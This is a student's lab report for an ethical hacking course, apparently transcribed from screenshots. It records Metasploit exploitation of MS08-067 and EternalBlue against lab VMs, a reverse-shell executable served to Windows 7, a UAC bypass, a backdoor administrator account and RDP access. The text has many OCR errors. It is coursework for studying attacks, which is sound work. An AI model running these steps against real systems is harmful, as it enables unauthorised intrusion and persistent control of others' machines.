CYSE 301: Cybersecurity Technigue and Operations

Assignment 4: Ethical Hacking
Michael Opoku-Arthur



At the end of this module, each student must submit a report indicating the completion of the following
tasks. Make sure you take screenshots as proof.
You need to power on the following VMs for this assignment.

* Internal Kali (Attacker) 192.168.10.13

* pfSense VM (power on only) 192.168.10.10

*  Windows XP (192.168.10.14) or Windows Server 2008 (198.168.10.11) or Windows 7 (depending
on the subtasks).

* Use LPORT: 4428 for all tasks.

Task A. Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.
1. Runa portscan against the Windows XP using nmap command to identify open ports and services.

2 - Virtual Machime Connection a x|

Thu 18:22

root@CS2APenTest: -

Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds
i

B o oot ok T pronce . Feewatle.. B

Nmap scan of XP (192.168.10.14)



2. lIdentify the SMB port number (default:

L UUE i
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:15:5D:40:57:09 (Microsoft)

445) and confirm that it is open.

Nmap done: 1 IP address (1 host up) scanned in
» #

Confirmation of port 445 open



3. Launch Metasploit Framework and search for the exploit module: ms08 067 netapi

T
Applications ~ Places + [ Terminal =
root@CS2APenTest: ~

F Edit VieWk Search
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready. ..
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...

meta t ) dev

1912 exploits - 1073 auxiliary - 329 post
545 payloads - 45 encoders - 180 nops

3 evasion

_netapl

Disclosure Date Rank Check Description

2} t/windows/smb/ms08_067 _netapi 2008-10-28 great VYes M508-067 Microsoft Serve
r Service Relative Path Stack Corruption

Search of exploit



4. Use ms08 067 _netapi as the exploit module and set meterpreter reverse_tcp as the payload.

H ¥all - Internal Workstation o PORD .

Applications = Places ~ [£] Terminal ~
root@CS2APenTest: ~

Edit View Search Terminal Help
f5 > search ms03 067 netapi

tching Modules

# MName Disclosure Date Rank Check Description

8 exploit/windows/smb/ms@8_067 netapi 2068-10-28 great Yes MS08-067 Microsoft Serve

- Service Relative Path Stack Corruption

> use exploit/windows/smb/ms@8 067 netapi
exploit( ) > set payload windows/meterpreter/re
d => windows/meterpreter/reverse_tcp

ploit( ) > |

Setting Payload



5. Use XXXX (follow the lab instruction) as the listening port number. Configure the rest of the
parameters. Display your configurations and exploit the target.

ol ¥l - Internal Workstation on €S3071-MOPOK] g

Applications « Places v [ Terminal = Thu18:47
root@CS2APenTest: ~

File Edit View Search Terminal Help

msf5 exploit( T ) > set LHOST 192.168.160.13
LHOST => 192.168.16".13

msf5 exploit( ) > set LPORT 4428

set RHOST 192.168.160.14
msf5 exﬁloit{ ) show options
Module options (exploi indows/smb/ms@8_067 netapi):

Name Description

RHOSTS The target address range or CIDR identifier
RPORT yes The SMB service port (TCP)
SMBPIFE BROWSER The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.13 yes The listen address (an interface may be specified)
LPORT 4428 yes The listen port

Exploit target:

Id Name

e} Automatic Targeting

msf5 exploit(

Configuration of parameters 1/2



1sf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.10.13:4428

192.168.10.14:445 - Automatically detecting the target...

192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

192.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

192.168.10.14:445 - Attempting to trigger the vulnerability...

Sending stage (179779 bytes) to 192.168.10.14

Meterpreter session 1 opened (192.168.10.13:4428 -> 192.168.10.14:1036) at 2024-02-29 18:49:10
-0500

Exploiting 2/2




6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if
the exploit is successful.

. Norkstation on C3301-MOPOKDD
Applications « Places » [Z] Terminal ~ Thu18:52

Il obAhiEgljpeg UPEGIm- X | +

c @ 0 filex//froot/obAIEgL jpeg S lom =
root@CS2APenTest: ~

Nessus Home & Kali Linux "% Kali Docs "% KaliTools = Exploit-DB £ Most Vi;lmcg

File Edit View Search Terminal Help

Command Description

Wy
Micw.ﬁ- d ; “\i? timestomp Manipulate file MACE attr
In o S meterpreter > localtime

Professional Local Date/Time: 2024-02-29 18:51:12.142 Ea
TC-500)
meterrreter' >
Screenshot s
meterpreter :

Successful screenshot
7. [Post-exploitation] In meterpreter shell, display the target system’s local date and time.

meterpreter > localtime
Local Date/Time: 2024-02-29 18:51:12.142 Eastern Standard Time (UTC-500)

meterpreter > ||

Displaying local date and time




8. [Post-exploitation] In meterpreter shell, get the SID of the user.

meterpreter > getsid

Server SID: 5-1-5-18
meterpreter > |

Display SID

9. [Post-exploitation] In meterpreter shell, get the current process identifier.
meterpreter > getpid
Current pid: 1000
meterpreter > |

Display PID

10. [Post-exploitation] In meterpreter shell, get system information about the target.
meterpreter > sy51nfo
Computer ORG-JLF9IOGWXFM

0s : Windows XP (Build 2600, Service Pack 3).
Architecture : X86

System Language : en_ US

Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows

meterpreter > |j

Display system information



Task B. Exploit EternalBlue on Windows Server 2008 with Metasploit (20 pt)

In this task, you need to use similar steps to exploit the EternalBlue vulnerability on Windows Server
2008. Make sure to search and replace the exploit module against Windows Server 2008 accordingly.

» Configure your Metasploit accordingly and set XXXX (follow the lab instruction) as the listening port
number. Display the configuration and exploit the target. (10 pt)

1 Is LI VITYY ST L] I SERIIROa 1 HTLI._I'
# nmap 192.168.10.11
Starting Nmap 7.70 ( https://nmap.org ) at 2024-82-29 19:13 EST
Nmap scan report for 192.168.10.11
Host is up (0.0068s latency).
Mot shown: 994 filtered ports
PORT STATE SERVICE
21/tcp open Ttp
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49154/tcp open unknown
MAC Address: 08:15:5D:40:57:0A (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 5.21 s

Nmap Scan



g
Applications Places * [ Terminal = Thu19:36
k root @CS2APenTest: ~
File Edit View -Search Terminal Help

arch eternal

Matching Modules

Name ure Date Rank ck Description
iary, i1 / 7 @ and . L { M517-818 EternalRomance/EternalSyn
rnalChampion te Windc Command E
17-818 SMB RCE Det
MS17-01@ EternalBlue S

e1e wing8 2817-03-14 \ M517-810 EternalBlue °

on for Wing+
=17 B18 pse 2017-03 . 5 M517-818 EternalRomanc

mb/ms17 816 alblue):

Required cription

The target address range or CIDR identifier
port (TCP)

SMBDo)
SMBEP

options

Setting configurations 1/2



meterpret

none}

Figure 1Setting configurations 2/2
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1. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if

the exploit is successful. (2 pt)
H Kali - Internal Workstation on €S301-MOPOKOO?

pplications ~ Places ~ () Terminal Thu19:41

VaZiByyN.Jpeg (JPEG Image, 10

Il obAhlEgLjpeg (JPEG Im: X | Kl VaZiByyN.jpeg JPEG I X | +

cC i file:ff/root/VaZiByyN.jpeg
Nessus Home '\ KaliLinux 'S KaliDocs '\ Kali Tools = Exploit-DB £¥ Most Visited

root@CS2APenTest: ~

File Edit View Search Terminal Help
- Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBvl connection creating free hole adjacent to
SMBv2 buf
192.1 . Sending final SMBv2 buffers.
192. : - Sending last fragment of exploit packet
Receiving response from exploit packet
ETERNALBLUE overwrite completed successfully (0xCP0e06oD

Sending egg to corrupted connection.
Triggering free of corrupted buffer.

6463 bytes) to 192.168.10.11
n 1 opened (192.168.10.13:4428 -> 192.168.10.11:49157)
0500

Successful connection, displaying screenshot



2. [Post-exploitation] In meterpreter shell, display the target system’s local date and time. (2 pt)

meterpreter > localtime
Time: 2024-02-29 19:42:40.966 Eastern Standard Time (UTC-560)

display local time

3. [Post-exploitation] In meterpreter shell, get the SID of the user. (2 pt)

Server SID:
meter

Display SID

4. [Post-exploitation] In meterpreter shell, get the current process identifier. (2 pt)
a2 [~ LU, a-1-9-10
meterpreter = getpid
Currenj pid: 1108

meterpreter > Jj

Display PID

5. [Post-exploitation] In meterpreter shell, get system information about the target. (2 pt)
> sysinfo

Computer : W2008R2

0s : Windows 2088 R2 (Build 7680).
Architecture : xb4

System Language : en US

Domain : WORKGROUP

Logged On Users : ©

Meterpreter : x64/windows

meterpreter > |

Display system information



= Intemal Workstation on

Applications ~ Places * [ Terminal =

root@CS2APenTest: ~

Search Terminal Help
ription

play an audio file on target sy , nothing written on disk

that of

f the SAM database

Overview



Task C. Exploit Windows 7 with a deliverable payload (60 pt).

In this task, you need to create an executable payload with the required configurations below. Once
your payload is ready, you should upload it to the web server running on Kali Linux and download the
payload from Windows 7, then execute it on the target to make a reverse shell (10 pt). Of course, don't
forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM.

&P Kali - Internal Workstation on CS301-MOPOKD02 - Virtual Machine Connection
File Action Media Chpboard \View Help

@0 ne B o g
Applications + Places *  [J Terminal =

root@CS52APenTest: ~
File Edit View Search Terminal Help

VMshare

> set lport 4428
> show options

‘handler):

ad options (wi /meterpre
Name Current Setting Required Descript

Exit technique (Accepted:

seh, threa

The listen address (an interface may be

el

Configurations




Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, threa
d, process, none)

LHOST 192.168 = The listen address (an interface may be
specified)

LPORT 4428 The listen port

Exploit target:

Id MName

0] Wildcard Target

Configurations



The requirements for your payload are (10 pt, 5pt each):
e Payload Name: Use your MIDAS ID (for example, pjiang.exe)
e Listening port: XXXX (follow the lab instruction)

3 Kali - Internal Workstation on C5301-MOPOKI0Z - Vitusl Machine Connection

= ] *
File  Action Media Clipboard View Help
@O0 nw»

Applications ~ Places + [ Terminal =

File' Edit View Search Terminal Help

[-] Mo platf lected, choos ::Windows from the
[-1 N ecte t a

st
index.h
debian.html

Setting executable payload



.| ¥ Windows 7 on C5301-MOPOKDOZ - Virtual Machine Connection
File Action Media Clipboard View Help
B O@OO i o> g

ApacheZ Debian Default x

& | ([ 192:16810.13

Apache2 Debian Default Page

e E—

This is the default welcom
installation on Debian syst
installed at this site is worl

-
Open File - Security Warning

|T‘>2 server after
—— |he HTTP server

that the site is currently u
site's administrator.

Jvar /v /html/index. hitml
If you are a normal user o

The publisher could not be verified. Are you sure you want to
mun this software?

ﬂ Name: C\Users\Window 7\Dowr d K.exe
Publisher: Unknown Publisher
Type: Application
Fom: C\UsersyWindow T\Downloads\mopok.exe

Debian's Apache2 default

into several files optimized
documented in fusr/sh
documentation. Document

(7] Mbways msk befare opening this fil

this probably means
please contact the

ifiguration, and split
istern is fully

& for the full

g the manual if the

apache2-doc package was

The configuration layout fd

publisher. You should orly n software from publishers you trust.

-@I This file does not have a valid digtal signaturs that verfiss &s
How can | decide what software to nn?

ns is as follows:

£

Status: Running

Jetc/apache2/
[-- apache2.conf
“-- ports.conf

[-- mods-enabled

| |-- *.load

/ Tee * conf

[-- conf-enabled

| To- % conf

[-- sites-enabled

| Y- * conf
AR

Downloading executable file on Windows 7 VM



nsfs exploit( } = exploit

e TCP handler on 192.168.10.13:4428
(179779 bytes) to 192.168.10.9

ession 1 opened (192.168.10.13:4428 -> 192.168.10.9:1055) at 20
4-83-12 19:44:48 -0400

revers

r
5

Connection established



[Post-exploitation] Once you have established the reverse shell connection to the target Windows 7,
complete the following tasks in your meterpreter shell:
1. Execute the screenshot command to take a screenshot of the target machine if the exploit is
successful. (10 pt)

TR Kl - nterms! Workstation on CS301-MOPOKD02 oo X
Applications ~ Places v [ Terminal ~ Tue 19:46 m e MO~
1024 x 768 pixels) - Scale 11 ?
[ fkaecCaY.jpeg JPEGIm X  +
cC @ i) file:///root/fkaecCaY.jpeg - O W n o =

Nessus Home N\ KaliLinux "\ KaliDocs "\ KaliTools & Exploit-DB £+ Most Visited
tpache? De@ Detautt x \ R =la] = : ]

& S5 ¢ | [ 1921681013 -

root@CS2APenTest: ~

File Edit View Search Terminal Help
EXITFUNC process yes Exit technique (Accepted: '', seh, threalg
d, process, none)
LHOST 192.168.16.13 yes The listen address (an interface may be
This is the default WY SEST1))

installation on Debia LPORT 4428 yes The listen port
installed at this site
/var/wea/ntml /inde

If you are a normal (3G EEE 18 [
that the site is curre]
site's administrator. Id Name

(] wildcard Target

| Debian's Apache2 d
into several files opfl
documented in /
documentation. Dod
apache2-doc packagy

msf5 ) > exploit

Started reverse TCP handler on 192.168.10.13:4428
The configuration la: sending stage (179779 bytes) to 192.168.10.9
Jetc/apache2/ Meterpreter session 1 opened (192.168.10.13:4428 -> 192.168.16.9:1055) at 20
[N 21 -03-12 19:44:48 -0400
Sy

IERL PR RN neterpreter > screenshot

| IEEREE Screenshot saved to: /root/fkaece
/ B neterpreter >

|-~ conf-enabled

! -~ * conf
|-- sites-enabled
/ -~ *.conf

TG B oean 2ol

Screenshot of target Windows 7 VM



2. Create a text file on the attacker Kali named "IMadelT-YourMIDAS.txt" (replace YourMIDAS with
your university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's
desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me the
command that uploads the file. (10 pt)

meterpreter > cd /Users/"Window 7"
reter = cd /Users/"Window 7"/"Desktop"
meterpreter = pwd
C:\Users\Window 7\Desktop
meterpreter > upload IMadeIT-YourMidas. txt
Error running command upload: Errno::ENOENT No such file or directory @ rb T

ile s stat - IMadeIT-YourMidas.txt
meterpreter > upload IMadeIT-YourMIDAS.txt
uploading : IMadeIT-YourMIDAS.txt -> IMadeIT-YourMIDAS.txt
Uploaded 8.00 B of 8.00 B (100.0%): IMadeIT-YourMIDAS.txt -=> IMadeIT-YourMID
AS. Xt
uploaded : IMadeIT-YourMIDAS.txt -> IMadeIT-YourMIDAS.txt
meterpreter > ||

Uploading to Windows 7 VM



! Windows 7 on C5301-MOPOKDD2 - Virtual Machine Connection — ] x

(File | Action Media Clipboard View Help

EO®=O@O nw(fodH g

@U'| # v Computer » Local Disk (C) » Users » Window7 » Desktop

Organize v 1 Open ~ Share with Print New folder = A 8

Name Date modified Type Size

W Favorites

B Desktop | IMadelT-YourMIDAS 3/12/2024 828 PM  Text Docurment 1 KB
# Downloads _E:: Nrnap - Zenmap GUL 2020 10:07 AM  Shortcut 1KB
"“Z. Recent Places 78 Steghide 8/23/2017 11:47 AM  Shortcut 2kB
# S-Tools 8/23/2017 11:45 AM  Shortcut KB

8 Libraries #. Tools - Shortcut 8/23/2017 11:45 AM  Shortcut 1KB

| =| Documents

Edit Format View Help

1L9:56PM =

Confirmation of upload



[Privilege escalation] Background your current session, then gain administrator-level privileges on the

remote system (10 pt). After you escalate the privilege, complete the following tasks:
3. Create a malicious account with your name and add this account to the administrator group. You
need to complete this step on the Attacker Side. (5 pt)

root@CS2APenTest: ~ e ® O
File Edit View Search Terminal Help
You have active sessions open, to exit anyway type "exit -y"
1sf5 exploit( ) = use exploit/windowsylocal/bypassuac
nsf5 exploit( } > seipgSEsSSiompl

nsf5 exploit( ) ="shew options
Module options (exploit/windows/local/bypassuac):

Name Current Setting Required Description

SESSION es The session to run this module on.
Technique to use if UAC is turned off (

TECHNIQUE EXE
ccepted: PSH, EXE)

Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description

Exit technique (Accepted: '', seh, threa

process, none)

LHOST 192.168.10.13 address {(an interface may be

4444 ] The listen port

Creating session 2



xploit

TCP handler on 192.168.10.13:4444
, checking level...
UAC et to Default
BypassUAC can bypass th setting, continuing...
Part of Administrators group! Continuing...
Uploaded the agent to the filesystem....
Uploading the bypass “utable to the filesystem...

erpreter stager y 73802 bytes long being uploaded..

nding stage (17977 ) to 192.168.18.9
€ (192.168.10.1

meterpreter > net user /add MichaelOpoku-Arthur password
Unknown command: net.
meter L1

Channel 1 created.
Microsoft Windows [Version 6.1.7668]
Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

administrat ael( u-Arthur

Opoku-Arthur
ccessfully.

Creating new user account and upgrading privileges

/

24-83-12 20:34:

29

-0400




3 Windows 7 on CS301-MOPOKO02 - Virtual Machine Connection —
File Action Media Clipboard View Help

BO®O@O | n»|f o | Bg

cyse
Logged on

Account created



4. Remote access to the malicious account created in the previous step and browse the files
belonging to the user, "Windows 7", in RDP. (5 pt)
& root@CS2APenTest: ~
File Edit View Search Terminal Help

: # rdesktop 192.168.10.9 MichaelOpoku-Arthur
Autoselected keyboard map en-us

BRI ShF rdesktop - 192.168.10.9
Connection

WARNING: R

MichaelOpoku-Arthur
Er.

| Switch User

. Windows 7 Enterprise

Established remote connection



rooti@slAreniest

File [Edit View Search Terminal Help
# rdesktop 192.168.18.9 -u MichaelOpoku-Arthur

oard map en-us

rdesktop -192.%58.10.9

__.vl v Computer » |
Qrganize = Include in library = Share with Mew folder

¢ Favorites
B Desktop ZEnmap

# Downloads Contacts

= Recent Places m Desictop

& Downloads

3 Libraries Favortes

=l Documents # Links

@' Music My Documents

=/ Pictures W' My Music

B videos = My Pictures
8 My Videos
w Homegroup i Saved Games

Searches

& Computer

i Network

Able to browse different account files

Task D. Extra Credit (10 points)

e Find another exploit that targets on either Windows XP or Windows Server 2008.



